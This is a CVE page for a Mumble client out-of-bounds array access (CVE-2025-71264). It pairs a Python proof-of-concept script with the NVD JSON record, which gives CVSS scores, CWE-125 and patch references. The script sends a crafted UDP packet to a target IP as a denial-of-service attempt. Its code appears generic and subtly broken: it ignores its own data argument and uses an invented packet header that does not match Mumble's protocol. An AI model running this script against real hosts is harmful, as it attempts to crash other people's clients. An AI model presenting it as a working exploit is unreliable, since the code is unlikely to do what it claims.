CVE-2025-71264

#!/usr/bin/env python3 """ CVE-2025-71264 PoC - Mumble Out-of-Bounds Array Access This PoC demonstrates sending a malformed packet that could trigger the out-of-bounds access in Mumble clients before version 1.6.870 """ import socket import struct import sys def create_mumble_packet(opcode, data): """Create a Mumble protocol packet with specified opcode and data""" # Mumble packet header: 1 byte type + 4 bytes length packet_type = opcode packet_data = data # Craft malformed data to trigger out-of-bounds access malformed_data = b'\x00' * 1000 + b'\xff\xff\xff\xff' header = struct.pack('!BI', packet_type, len(malformed_data)) return header + malformed_data def send_malformed_packet(target_ip, target_port=64738): """Send malformed packet to Mumble server/client""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) try: # Create packet targeting array index handling packet = create_mumble_packet(0x01, b'malformed') print(f"[*] Sending malformed packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) print("[+] Packet sent successfully") print("[!] Target Mumble client may crash due to out-of-bounds access") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 64738 send_malformed_packet(target, port)

{"cve": {"id": "CVE-2025-71264", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:02.610", "lastModified": "2026-04-02T14:48:52.760", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mumble before 1.6.870 is prone to an out-of-bounds array access, which may result in denial of service (client crash)."}, {"lang": "es", "value": "Mumble anterior a 1.6.870 es propenso a un acceso a un array fuera de límites, lo que puede resultar en una denegación de servicio (caída del cliente)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mumble:mumble:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.6.870", "matchCriteriaId": "52B1AACF-1BF7-46CA-8420-BF7780B1FBD4"}]}]}], "references": [{"url": "https://bugs.debian.org/1129178", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "https://github.com/mumble-voip/mumble/commit/ff2a2332cccb267721553f09c0ded4de880622e0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mumble-voip/mumble/pull/7032", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}